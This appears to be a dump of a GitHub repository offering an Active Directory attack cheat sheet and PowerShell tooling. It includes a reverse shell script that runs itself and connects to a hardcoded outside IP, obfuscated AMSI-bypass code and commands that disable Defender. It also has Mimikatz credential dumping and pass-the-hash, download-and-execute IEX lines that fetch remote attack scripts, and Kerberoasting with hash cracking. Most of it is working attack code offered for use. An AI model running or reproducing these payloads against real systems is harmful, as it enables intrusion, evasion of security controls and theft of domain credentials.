├── FrankCastle.png ├── GetUserSPNs.ps1 ├── Invoke-Grep.ps1 ├── Invoke-Malekotki.ps1 ├── Invoke-Mimikatz.ps1 ├── Invoke-PowerShellTcp.ps1 ├── PS.exe ├── PowerSQL.ps1 ├── PowerUp.ps1 ├── PowerUpSQL.ps1 ├── PowerView-dev.ps1 ├── PowerView-obf.ps1 ├── PrintSpoofer64.exe ├── README.md ├── SharpHound.ps1 ├── Test.ps1 └── test.ps1 /FrankCastle.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/punishell/ADCheatSheet/ddb4101f73a124647db5fb84934c1e0edd746d2e/FrankCastle.png -------------------------------------------------------------------------------- /GetUserSPNs.ps1: -------------------------------------------------------------------------------- 1 | # Edits by Tim Medin 2 | # File: GetUserSPNS.ps1 3 | # Contents: Query the domain to find SPNs that use User accounts 4 | # Comments: This is for use with Kerberoast https://github.com/nidem/kerberoast 5 | # The password hash used with Computer accounts are infeasible to 6 | # crack; however, if the User account associated with an SPN may have 7 | # a crackable password. This tool will find those accounts. You do not 8 | # need any special local or domain permissions to run this script. 9 | # This script on a script supplied by Microsoft (details below). 10 | # History: 2016/07/07 Tim Medin Add -UniqueAccounts parameter to only get unique SAMAccountNames 11 | # 2016/04/12 Tim Medin Added -Request option to automatically get the tickets 12 | # 2014/11/12 Tim Medin Created 13 | 14 | [CmdletBinding()] 15 | Param( 16 | [Parameter(Mandatory=$False,Position=1)] [string]$GCName, 17 | [Parameter(Mandatory=$False)] [string]$Filter, 18 | [Parameter(Mandatory=$False)] [switch]$Request, 19 | [Parameter(Mandatory=$False)] [switch]$UniqueAccounts 20 | ) 21 | 22 | Add-Type -AssemblyName System.IdentityModel 23 | 24 | $GCs = @() 25 | 26 | If ($GCName) { 27 | $GCs += $GCName 28 | } else { # find them 29 | $ForestInfo = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() 30 | $CurrentGCs = $ForestInfo.FindAllGlobalCatalogs() 31 | ForEach ($GC in $CurrentGCs) { 32 | #$GCs += $GC.Name 33 | $GCs += $ForestInfo.ApplicationPartitions[0].SecurityReferenceDomain 34 | } 35 | } 36 | 37 | if (-not $GCs) { 38 | # no Global Catalogs Found 39 | Write-Host "No Global Catalogs Found!" 40 | Exit 41 | } 42 | 43 | <# 44 | Things you can extract 45 | Name Value 46 | ---- ----- 47 | admincount {1} 48 | samaccountname {sqlengine} 49 | useraccountcontrol {66048} 50 | primarygroupid {513} 51 | userprincipalname {sqlengine@medin.local} 52 | instancetype {4} 53 | displayname {sqlengine} 54 | pwdlastset {130410454241766739} 55 | memberof {CN=Domain Admins,CN=Users,DC=medin,DC=local} 56 | samaccounttype {805306368} 57 | serviceprincipalname {MSSQLSvc/sql01.medin.local:1433, MSSQLSvc/sql01.medin.local} 58 | usnchanged {135252} 59 | lastlogon {130563243107145358} 60 | accountexpires {9223372036854775807} 61 | logoncount {34} 62 | adspath {LDAP://CN=sqlengine,CN=Users,DC=medin,DC=local} 63 | distinguishedname {CN=sqlengine,CN=Users,DC=medin,DC=local} 64 | badpwdcount {0} 65 | codepage {0} 66 | name {sqlengine} 67 | whenchanged {9/22/2014 6:45:21 AM} 68 | badpasswordtime {0} 69 | dscorepropagationdata {4/4/2014 2:16:44 AM, 4/4/2014 12:58:27 AM, 4/4/2014 12:37:04 AM,... 70 | lastlogontimestamp {130558419213902030} 71 | lastlogoff {0} 72 | objectclass {top, person, organizationalPerson, user} 73 | countrycode {0} 74 | cn {sqlengine} 75 | whencreated {4/4/2014 12:37:04 AM} 76 | objectsid {1 5 0 0 0 0 0 5 21 0 0 0 191 250 179 30 180 59 104 26 248 205 17... 77 | objectguid {101 165 206 61 61 201 88 69 132 246 108 227 231 47 109 102} 78 | objectcategory {CN=Person,CN=Schema,CN=Configuration,DC=medin,DC=local} 79 | usncreated {57551} 80 | #> 81 | 82 | ForEach ($GC in $GCs) { 83 | $searcher = New-Object System.DirectoryServices.DirectorySearcher 84 | $searcher.SearchRoot = "LDAP://" + $GC 85 | $searcher.PageSize = 1000 86 | $searcher.Filter = "(&(!objectClass=computer)(servicePrincipalName=*))" 87 | $searcher.PropertiesToLoad.Add("serviceprincipalname") | Out-Null 88 | $searcher.PropertiesToLoad.Add("name") | Out-Null 89 | $searcher.PropertiesToLoad.Add("samaccountname") | Out-Null 90 | #$searcher.PropertiesToLoad.Add("userprincipalname") | Out-Null 91 | #$searcher.PropertiesToLoad.Add("displayname") | Out-Null 92 | $searcher.PropertiesToLoad.Add("memberof") | Out-Null 93 | $searcher.PropertiesToLoad.Add("pwdlastset") | Out-Null 94 | #$searcher.PropertiesToLoad.Add("distinguishedname") | Out-Null 95 | 96 | $searcher.SearchScope = "Subtree" 97 | 98 | $results = $searcher.FindAll() 99 | 100 | [System.Collections.ArrayList]$accounts = @() 101 | 102 | foreach ($result in $results) { 103 | foreach ($spn in $result.Properties["serviceprincipalname"]) { 104 | $o = Select-Object -InputObject $result -Property ` 105 | @{Name="ServicePrincipalName"; Expression={$spn.ToString()} }, ` 106 | @{Name="Name"; Expression={$result.Properties["name"][0].ToString()} }, ` 107 | #@{Name="UserPrincipalName"; Expression={$result.Properties["userprincipalname"][0].ToString()} }, ` 108 | @{Name="SAMAccountName"; Expression={$result.Properties["samaccountname"][0].ToString()} }, ` 109 | #@{Name="DisplayName"; Expression={$result.Properties["displayname"][0].ToString()} }, ` 110 | @{Name="MemberOf"; Expression={$result.Properties["memberof"][0].ToString()} }, ` 111 | @{Name="PasswordLastSet"; Expression={[datetime]::fromFileTime($result.Properties["pwdlastset"][0])} } #, ` 112 | #@{Name="DistinguishedName"; Expression={$result.Properties["distinguishedname"][0].ToString()} } 113 | if ($UniqueAccounts) { 114 | if (-not $accounts.Contains($result.Properties["samaccountname"][0].ToString())) { 115 | $accounts.Add($result.Properties["samaccountname"][0].ToString()) | Out-Null 116 | $o 117 | if ($Request) { 118 | New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn.ToString() | Out-Null 119 | } 120 | } 121 | } else { 122 | $o 123 | if ($Request) { 124 | New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn.ToString() | Out-Null 125 | } 126 | } 127 | } 128 | } 129 | } 130 | -------------------------------------------------------------------------------- /Invoke-Grep.ps1: -------------------------------------------------------------------------------- 1 | $source = @" 2 | using System; 3 | using System.IO; 4 | 5 | namespace Netzwerker.Shell 6 | { 7 | public class GrepParameterInformation 8 | { 9 | public bool Skip = false; 10 | public FileInfo File; 11 | public string Content; 12 | 13 | public GrepParameterInformation(FileInfo info) 14 | { 15 | this.File = info; 16 | } 17 | 18 | public GrepParameterInformation(DirectoryInfo info) 19 | { 20 | this.Skip = true; 21 | } 22 | 23 | public GrepParameterInformation(string Content) 24 | { 25 | this.Content = Content; 26 | } 27 | } 28 | } 29 | "@ 30 | Add-Type $source 31 | 32 | function Invoke-Grep 33 | { 34 | <# 35 | .SYNOPSIS 36 | Performs Grep Operations 37 | 38 | .DESCRIPTION 39 | Filters strings (or text files) for occurences of a specific pattern and returns Information based on switches. 40 | 41 | .PARAMETER InputObject 42 | Alias: io 43 | ParSet: Normal, IP 44 | The strings to filter or the full path of files to read from. 45 | 46 | .PARAMETER Pattern 47 | Alias: p 48 | ParSet: Normal 49 | The regex pattern to look for. 50 | 51 | .PARAMETER IPAddress 52 | Alias: ip 53 | ParSet: IP 54 | Extracts all IP addresses from the input and returns IPAddress objects. 55 | 56 | .PARAMETER Exact 57 | Alias: e 58 | ParSet: Normal 59 | Switches to only returning the exact passages that match it (instead of the whole line). 60 | -IPAddress takes precedence over -Exact 61 | 62 | .PARAMETER NoRes 63 | Internal Use Only 64 | 65 | .EXAMPLE 66 | PS C:\> dir c:\service | grep "Friedrich" 67 | 68 | Searches all files in c:\service and returns each line that contains the word "Friedrich". 69 | 70 | .EXAMPLE 71 | PS C:\> nslookup.exe "haka.de" | grep -IP 72 | 73 | This command first queries your default dns server for haka.de, then greps all IP-Addresses contained in the reply (Usually, that's in nslookup's case the resolving DNS Server and the target). 74 | 75 | .NOTES 76 | Supported Interfaces: 77 | ------------------------ 78 | Result Caching Interface 79 | Stores full Result 80 | ------------------------ 81 | 82 | Author: fwn 83 | Company: die netzwerker Computernetze GmbH 84 | Created: 04.09.2014 85 | LastChanged: 04.09.2014 86 | Version: 1.0 87 | #> 88 | 89 | [CmdletBinding(DefaultParameterSetName = 'Normal')] 90 | [OutputType([string[]], ParameterSetName = 'Normal')] 91 | [OutputType([System.Net.IPAddress[]], ParameterSetName = 'IP')] 92 | param ( 93 | [Parameter(ParameterSetName = 'Normal', 94 | Mandatory = $true, 95 | ValueFromPipeline = $true, 96 | Position = 1)] 97 | [Parameter(ParameterSetName = 'IP', 98 | Mandatory = $true, 99 | ValueFromPipeline = $true, 100 | Position = 1)] 101 | [AllowEmptyString()] 102 | [Alias('io')] 103 | [Netzwerker.Shell.GrepParameterInformation[]] 104 | $InputObject, 105 | 106 | [Parameter(ParameterSetName = 'Normal', 107 | Mandatory = $true, 108 | Position = 0)] 109 | [Alias('p')] 110 | [string] 111 | $Pattern, 112 | 113 | [Parameter(ParameterSetName = 'IP', 114 | Mandatory = $true)] 115 | [Alias('ip')] 116 | [switch] 117 | $IPAddress, 118 | 119 | [Parameter(ParameterSetName = 'Normal')] 120 | [Alias('e')] 121 | [switch] 122 | $Exact, 123 | 124 | [Switch] 125 | $NoRes 126 | ) 127 | 128 | Begin 129 | { 130 | # Set the functionname variable 131 | $fn = (Get-PSCallStack)[0].Command 132 | Write-Debug "[Start] [Greping content]" 133 | 134 | # Get active ParameterSet 135 | $ParSet = $PSCmdlet.ParameterSetName 136 | Write-Debug "Active Parameterset: $ParSet" 137 | 138 | # If IP Mode is active, overwrite Pattern with IP Pattern 139 | if ($ParSet -eq "IP") { $Pattern = "\b(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b" } 140 | 141 | # Prepare Result for caching 142 | $Results = @() 143 | 144 | #region Helper Function 145 | function Append-Result 146 | { 147 | [CmdletBinding()] 148 | Param ( 149 | [Parameter(Position = 0, ValueFromPipeline = $true)] 150 | $Result 151 | ) 152 | Begin 153 | { 154 | $temp = (Get-Variable -Scope 1 -Name "Results").Value 155 | } 156 | Process 157 | { 158 | $temp += $Result 159 | $Result 160 | } 161 | End 162 | { 163 | Set-Variable -Name "Results" -Scope 1 -Value $temp 164 | } 165 | } 166 | #endregion Helper Function 167 | } 168 | Process 169 | { 170 | switch ($ParSet) 171 | { 172 | #region ParSet Normal 173 | 'Normal' 174 | { 175 | # Iterate over each object 176 | foreach ($Obj in $InputObject) 177 | { 178 | # If a Fileinfo Object was passed 179 | if ($Obj.File -ne $null) 180 | { 181 | # Process content of files 182 | Write-Debug "Processing $($Obj.File.FullName)" 183 | if (!$Exact) { Get-Content $Obj.File.FullName | Select-String $Pattern | %{ $_.ToString() } | Append-Result } 184 | else { Get-Content $Obj.File.FullName | Select-String $Pattern -AllMatches | Select -ExpandProperty Matches | Select -ExpandProperty Value | Append-Result } 185 | } 186 | # If a string was passed 187 | elseif ($Obj.Content.Length -gt 0) 188 | { 189 | foreach ($line in ($Obj.Content | %{ $_.Split("`n") } | Remove-Null)) 190 | { 191 | # Process lines of string 192 | Write-Debug "Processing line $line" 193 | if (!$Exact) { $line | Select-String $Pattern | %{ $_.ToString() } | Append-Result } 194 | else { $line | Select-String $Pattern -AllMatches | Select -ExpandProperty Matches | Select -ExpandProperty Value | Append-Result } 195 | } 196 | } 197 | } 198 | break 199 | } 200 | #endregion ParSet Normal 201 | 202 | #region ParSet IP 203 | 'IP' 204 | { 205 | # Iterate over each object 206 | foreach ($Obj in $InputObject) 207 | { 208 | # If a Fileinfo Object was passed 209 | if ($Obj.File -ne $null) 210 | { 211 | # Process content of files 212 | Write-Debug "Processing $($Obj.File.FullName)" 213 | Get-Content $Obj.File.FullName | Select-String $Pattern -AllMatches | Select -ExpandProperty Matches | Select -ExpandProperty Value | %{ [System.Net.IPAddress]::Parse($_) | Append-Result } 214 | } 215 | 216 | # If a string was passed 217 | elseif ($Obj.Content.Length -gt 0) 218 | { 219 | foreach ($line in ($Obj.Content | %{ $_.Split("`n") } | Remove-Null)) 220 | { 221 | # Process lines of string 222 | Write-Debug "Processing line $line" 223 | $line | Select-String $Pattern -AllMatches | Select -ExpandProperty Matches | Select -ExpandProperty Value | %{ [System.Net.IPAddress]::Parse($_) | Append-Result } 224 | } 225 | } 226 | } 227 | break 228 | } 229 | #endregion ParSet IP 230 | } 231 | } 232 | End 233 | { 234 | # Write closing line 235 | Write-Debug "[End] [Greping content]" 236 | 237 | # Return Results 238 | if (!$NoRes) { $script:NW_Result = $Results } 239 | } 240 | } 241 | New-Alias -Name "grep" -Value "Invoke-Grep" -Option 'AllScope' -Force -------------------------------------------------------------------------------- /Invoke-PowerShellTcp.ps1: -------------------------------------------------------------------------------- 1 | function rat 2 | { 3 | 4 | [CmdletBinding(DefaultParameterSetName="reverse")] Param( 5 | 6 | [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")] 7 | [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")] 8 | [String] 9 | $IPAddress, 10 | 11 | [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")] 12 | [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")] 13 | [Int] 14 | $Port, 15 | 16 | [Parameter(ParameterSetName="reverse")] 17 | [Switch] 18 | $Reverse, 19 | 20 | [Parameter(ParameterSetName="bind")] 21 | [Switch] 22 | $Bind 23 | 24 | ) 25 | 26 | 27 | try 28 | { 29 | #Connect back if the reverse switch is used. 30 | if ($Reverse) 31 | { 32 | $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port) 33 | } 34 | 35 | #Bind to the provided port if Bind switch is used. 36 | if ($Bind) 37 | { 38 | $listener = [System.Net.Sockets.TcpListener]$Port 39 | $listener.start() 40 | $client = $listener.AcceptTcpClient() 41 | } 42 | 43 | $stream = $client.GetStream() 44 | [byte[]]$bytes = 0..65535|%{0} 45 | 46 | #Send back current username and computername 47 | $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n") 48 | $stream.Write($sendbytes,0,$sendbytes.Length) 49 | 50 | #Show an interactive PowerShell prompt 51 | $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>') 52 | $stream.Write($sendbytes,0,$sendbytes.Length) 53 | 54 | while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) 55 | { 56 | $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding 57 | $data = $EncodedText.GetString($bytes,0, $i) 58 | try 59 | { 60 | #Execute the command on the target. 61 | $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String ) 62 | } 63 | catch 64 | { 65 | Write-Warning "Something went wrong with execution of command on the target." 66 | Write-Error $_ 67 | } 68 | $sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> ' 69 | $x = ($error[0] | Out-String) 70 | $error.clear() 71 | $sendback2 = $sendback2 + $x 72 | 73 | #Return the results 74 | $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) 75 | $stream.Write($sendbyte,0,$sendbyte.Length) 76 | $stream.Flush() 77 | } 78 | $client.Close() 79 | if ($listener) 80 | { 81 | $listener.Stop() 82 | } 83 | } 84 | catch 85 | { 86 | Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port." 87 | Write-Error $_ 88 | } 89 | } 90 | 91 | rat -Reverse -IPAddress 45.77.94.76 -Port 2137 92 | -------------------------------------------------------------------------------- /PS.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/punishell/ADCheatSheet/ddb4101f73a124647db5fb84934c1e0edd746d2e/PS.exe -------------------------------------------------------------------------------- /PrintSpoofer64.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/punishell/ADCheatSheet/ddb4101f73a124647db5fb84934c1e0edd746d2e/PrintSpoofer64.exe -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Active Directory Cheat Sheet 2 | Domain Demolition with Frank Castle and Powershell. 3 | ![Frank](https://raw.githubusercontent.com/punishell/ADCheatSheet/master/FrankCastle.png) 4 | 5 | 6 | ## Basic Domain Enumeration 7 | Gathering information using Powerview.ps1: 8 | ``` 9 | PS C:\ad> Get-NetDomain 10 | 11 | 12 | Forest : marvel.local 13 | DomainControllers : {DC1.us.marvel.local} 14 | Children : {} 15 | DomainMode : Unknown 16 | DomainModeLevel : 7 17 | Parent : marvel.local 18 | PdcRoleOwner : DC1.us.marvel.local 19 | RidRoleOwner : DC1.us.marvel.local 20 | InfrastructureRoleOwner : DC1.us.marvel.local 21 | Name : us.marvel.local 22 | 23 | PS C:\ad> Get-NetDomainTrust -Domain marvel.local 24 | 25 | SourceName TargetName TrustType TrustDirection 26 | ---------- ---------- --------- -------------- 27 | marvel.local us.marvel.local ParentChild Bidirectional 28 | 29 | 30 | PS C:\ad> Get-NetForestTrust 31 | 32 | 33 | TopLevelNames : {disney.local} 34 | ExcludedTopLevelNames : {} 35 | TrustedDomainInformation : {disney.local} 36 | SourceName : marvel.local 37 | TargetName : disney.local 38 | TrustType : Forest 39 | TrustDirection : Bidirectional 40 | ``` 41 | 42 | In order to find machines inside the trust, we need to specify the domain: 43 | ``` 44 | PS C:\ad> (Get-DomainComputer -Domain disney.local).name 45 | DS-DC1 46 | DS-DBREPORT 47 | DS-ITSTAFF 48 | DS-MICKEY 49 | ``` 50 | 51 | ## Lateral movement: 52 | ### with Powershell: 53 | 54 | ``` 55 | PS C:\Windows\system32> New-PSSession -ComputerName HYDRA 56 | 57 | Id Name ComputerName ComputerType State ConfigurationName Availability 58 | -- ---- ------------ ------------ ----- ----------------- ------------ 59 | 1 WinRM1 HYDRA RemoteMachine Opened Microsoft.PowerShell Available 60 | 61 | 62 | PS C:\Windows\system32> Enter-PSSession -ComputerName HYDRA 63 | [HYDRA]: PS C:\Users\Administrator\Documents> whoami 64 | marvel\administrator 65 | ``` 66 | 67 | ``` 68 | [HYDRA]: PS C:\Users\Administrator\Documents> exit 69 | PS C:\Windows\system32> invoke-command -ScriptBlock {whoami;hostname} -Computername HYDRA 70 | marvel\administrator 71 | HYDRA 72 | ``` 73 | Invoking command on another machine: 74 | 75 | ``` 76 | PS C:\Windows\system32> $sess = New-PSSession -ComputerName HYDRA 77 | PS C:\Windows\system32> invoke-Command -ScriptBlock {whoami} -Session $sess 78 | marvel\administrator 79 | ``` 80 | Get Computers list that curent user has access to: 81 | 82 | ``` 83 | $computers=( Get-WmiObject -Namespace root\directory\ldap -Class ds_computer | select -ExpandProperty ds_cn) 84 | foreach ($computer in $computers) { (Get-WmiObject Win32_ComputerSystem -ComputerName $computer ).Name } 85 | ``` 86 | Get Computers list that target user has access to: 87 | ``` 88 | $Username = 'domain\user' 89 | $Password = ConvertTo-SecureString -AsPlainText 'password'-Force 90 | 91 | $cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $Username,$Password 92 | 93 | $computers=( Get-WmiObject -Namespace root\directory\ldap -Class ds_computer | select -ExpandProperty ds_cn) 94 | 95 | foreach ($computer in $computers) { (Get-WmiObject Win32_ComputerSystem -ComputerName $computer -Credential $cred ).Name } 96 | ``` 97 | Get SQL instances that current user has access to: 98 | ``` 99 | PS C:\> Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded 100 | 101 | ComputerName Instance Status 102 | ------------ -------- ------ 103 | UFC-SQLDev.marvel.local SQLDev.marvel.local,1433 Accessible 104 | UFC-SQLDev.marvel.local SQLDev.marvel.local Accessible 105 | 106 | ``` 107 | 108 | ## Local Privileges Escalation 109 | ### Basic Enumeration: 110 | Automated Enumeration with PowerUp.ps1: 111 | ``` 112 | PS C:\>. .\PowerUp.ps1 113 | PS C:\>Invoke-AllChecks 114 | ``` 115 | Looking for weak ACL on Services: 116 | ``` 117 | accesschk64.exe -uwcqv "domain\user" * 118 | ``` 119 | ### AV and AMSI Evasion: 120 | To bypass AMSI and Defender, there is a possibility to turn them off with Local Administrator privileges: 121 | ``` 122 | Set-MpPreference -DisableIOAVProtection $true 123 | Set-MpPreference -DisableRealtimeMonitoring $true 124 | ``` 125 | ### Bypass CLM with Local Admin 126 | ``` 127 | Remove-ItemProperty -path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment\" -name __PSLockdownPolicy 128 | PsExec64.exe -i -s C:\Users\fcastle\Desktop\powershell.exe 129 | ``` 130 | ### Bypass CLM without Local Admin 131 | ``` 132 | Powershell -version 2 133 | ``` 134 | ### Bypass Amsi without Local Admin 135 | ``` 136 | SET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]("{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL)."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ))."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),("{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"(${n`ULl},${t`RuE} ) 137 | ``` 138 | ### Check Applocker RuleCollections 139 | ``` 140 | PS C:\Users\fcastle\AppData\Local\Temp> (Get-AppLockerPolicy -Local).RuleCollections 141 | PathConditions : {C:\Users\fcastle\AppData\Local\Temp\*} 142 | PathExceptions : {} 143 | PublisherExceptions : {} 144 | HashExceptions : {} 145 | Id : 7e918348-5822-2e6e-b4a5-965db95efcfb 146 | Name : C:\Users\fcastle\AppData\Local\Temp\* 147 | Description : 148 | UserOrGroupSid : S-1-1-0 149 | Action : Allow 150 | ``` 151 | ### Geting hashes with Mimikatz 152 | ``` 153 | invoke-mimikatz -dumpcred 154 | invoke-mimikatz -command 'privilege::debug token::elevate lsadump::sam' 155 | ``` 156 | ### Passing hashes with Mimikatz 157 | ``` 158 | Invoke-Mimikatz -command '"sekurlsa::pth /user:Administrator /domain:MARVEL /ntlm:58a478135a93ac3bf058a5ea0e8fdb71 /run:C:\Users\fcastle\Desktop\PsExec64.exe"' 159 | ``` 160 | 161 | ## Domain Privilege Escalation 162 | ### Looking for weak ACL in domain 163 | ``` 164 | Invoke-ACLScanner | Where-Object {$_.IdentityReference –eq $userName} 165 | ``` 166 | ### Looking for hidden GPO: 167 | ``` 168 | PS>(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }} 169 | ``` 170 | ### Kerberoasting 171 | ``` 172 | PS C:\Users\pparker> IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/PyroTek3/PowerShell-AD-Recon/master/Find-PSServiceAccounts'); Find-PSServiceAccounts 173 | Discovering service account SPNs in the AD Domain marvel.local 174 | 175 | 176 | Domain : marvel.local 177 | UserID : krbtgt 178 | PasswordLastSet : 12/30/2019 11:58:57 179 | LastLogon : 01/01/1601 00:00:00 180 | Description : Key Distribution Center Service Account 181 | SPNServers : 182 | SPNTypes : {kadmin} 183 | ServicePrincipalNames : {kadmin/changepw} 184 | 185 | Domain : marvel.local 186 | UserID : spn1 187 | PasswordLastSet : 01/07/2020 08:31:28 188 | LastLogon : 01/01/1601 00:00:00 189 | Description : 190 | SPNServers : {hydra.marvel.local} 191 | SPNTypes : {http} 192 | ServicePrincipalNames : {http/hydra.marvel.local:80} 193 | ``` 194 | Performing the attack: 195 | 196 | ``` 197 | PS C:\Users\pparker> IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1') ; Invoke-Kerberoast 198 | 199 | TicketByteHexStream : 200 | Hash : $krb5tgs$http/hydra.marvel.local:80:38E8FD090742C0D1FFA26A56527F2A3F$71AF4E87BBE558A3B1C654A39942586DDD8D1A101E5097113E0F449D0EF39A4FA8BC2778B87CED04DDBDA5D79AA9ED374B08957185B1B636606124127EC6CE9D93A544B0C9B416CCAED7E003ABF5E2FA9EF646279EEAF0F55F 201 | B110B3C03B7568DF1A288A627CC5801E425D2F1262A7AB042B67485B08C999CC9DA53414CE7515BDCE4ACD0BB7BAC1372A31B56BB7DC6BD94B553F1375728A9BA3CC0D73786EDF13C7976699289B56EC5ED045E4EFA1024783A0B6B36FC187C344BE3E499C9394BF4B3A8EF15D525A8EBC9C11711DC21A4B33D0575 202 | 2A0B68AF9339C70D3E8F4B8655A9D37C2E9266075F4BA7D449906E0F587CE3A3B8E8E97A44CA8474E91A468C613EA49D12DCE88C1753DF61536C22E3E060FB30EA2CAD0E58ED0412E4DFCF5BB46E2DBE5F174335B2440EBBB2CC6D28F6C3E691B6EA94B031991F29872D77C387CE5644ECBF70C6C2049319BC64B3A 203 | 806E0A813A58A9DFC96818CFC7A1B4BB36841E3EADD366ED20F6D90105369F83607FEC5B71F7A9318E0D8CC02E2B03AC271ED4178CEC0FEBF2FCD4DCD0168204AD1A69D2995EB2820F78AF329FEBAE1BB35910C5F968F702E243FBC5AD7297A40D1B0E1A157D73B05773AE46D2E40FC71DA10FADA7C68DE9B24B211 204 | C35F73A888BE0E85F4EB451ABB411D6777DA560B3AC28778ACB5C34695F46A32AEA468FE901EFD6EE056D6B22D7A2BC202BF4305D5481F58368DE48E3CA770E154C982D742C133037D524795CD2FD737E9684247C8D00143E82902DF5445E83CE13699E18B51C1C4AED791A643659A490F72F2AA532244057458E3F 205 | FEE303A5BEE0858CF6665DCDAD398D7D7ECBBEACBBA4AA96AFC0170AFE01DA2FC651D7D0EA31D00035FCC841ADA4C98B41E1732A4F1A5C663621AF348E47A9F0879254B13F74284905946D5D4ACA752359F9DD492238275D9BB1EED8A4FB78A2DF517BA65C8AD88BFBBFA3855752FBABC9F15F62FD54AE83B25A82A 206 | 0BDD406F68282D9C57EDA34946BD05276326CF67FE419DD5E7808167B0B92836AADDB8AE1672CC9D65A5F8C7B612C1E443BE80617DC88FC7DE81653807E08C6F8793B6D06773F202F93245DAAC271092A7C3D338D834E3CA7A9FA6A8EABD0E1639ED751BF096EE7B4D2D2D8EB137C78B2EC69006CE77E7B7AD97A52 207 | 6DBA146E38E2FDE820DDC2DFCEBCD8BD8E767F3B1B5D803E21F59F946934A191F7691441520515A3B2E330CCA07B07B92E210CC14C7EE41C9FCFBF222AF85DFF868786EBFE5D7F445EA26A6CDF3D5D7E174F4B11F13D202BC776237A343460FF204F9882DF372636515C794F56BC117B75F4BE90B2726B49D92B88C 208 | 74A9FFC7DF6C261E6245106D07AFF7F0B58B3FD77AF25FEF347075D0D1473C32FEC8D55AEC2CA21DE987537B9AFA8458848396269137DAA9FA36D00A2DC33D1C3FD6B1B1AAFFC576F85AD111E1FA818108EDA6D38 209 | SamAccountName : spn1 210 | DistinguishedName : CN=spn1,CN=Users,DC=marvel,DC=local 211 | ServicePrincipalName : http/hydra.marvel.local:80 212 | ``` 213 | In order to crack Kerberos 5 TGS-REP etype 23 hash, use hashcat: `hashcat64.exe -m 13100 hash.txt rockyou.txt` 214 | 215 | ``` 216 | Watchdog: Temperature abort trigger set to 90c 217 | 218 | Dictionary cache hit: 219 | * Filename..: rockyou.txt 220 | * Passwords.: 14344384 221 | * Bytes.....: 139921497 222 | * Keyspace..: 14344384 223 | 224 | $krb5tgs$23$*spn1$marvel.local$http/hydra.marvel.local:80*$14734c7868bb6cc9d5abdf4e6ce271b8$5c3c9febdf1842ad23d347f442fe0520176275b43fc383950fc138a661a8208ecf89c692c733231a7d441704ca913ebfa98d30eb54cfc48b49b815459c62faa6e05b76d996ca5a87632c354696c619c4c8f3c8f64d5e2c59fc375d6319597996192fc421919ed47e1717cb0e955268bd58361eecf806dc8596f28d106922703b9a2d6350d82883e7c64e3b60987ec5f43e28149d0f8a71be2f16993d6f0b1300f1139c4d1824b783660f1042a5afb0080ecf1eab130a76bd24ea3a4a5ea0037cb510cf99fce2c8c20b997188f0b47b50132c2fc190d465b87d7d4c5d56c0abe3710b8cc1dd775bc017917803d63c8ae43d2c944e31280a6fa6095d095fc18d8ab77dc9514214cfe6af299efb490195524c27a4809df215b7b0afd6027ac8d64563b6d67b069f0d026c1be06ea76eca7d2c0a3733ce1e2f18b8ab7404c2e90a83be3e604bf8e1b3d313ddf1bc3dd8d0e3080d59b99793435bce2be0d182273418036f338bb6a567246bd625429691d6084f5f46160226b535836b12f080e00685968ed65f9c948fac3ca9f5dc63b58534de0035cd9c4b82b80e3aa5399aeb43a91f893356106c8f9a2c89293d1c3638d953ddc0ed71b7b245715bbf5dde2c4cef56d00eee02a5bd7c2b3938bb6eecd257e465196044a09cc92f22f4d00bcdf5409784b0bbaf137b14439b60d5badc26984d41917e944193f0ef58fab00abe0cd667d239770245f3ce624fecd57702b33b24ff32945f987354f5aa5b8b5fe514bd691be4335222004112d76eab7d8fda3e1b7e53376a1da3a0e7fc58bff4f8d4f2fb7eb09a07420e09d7881fbdddf962f9da98a5dbeb0b1ab8d8fcddeda5efc85df3f8caced853e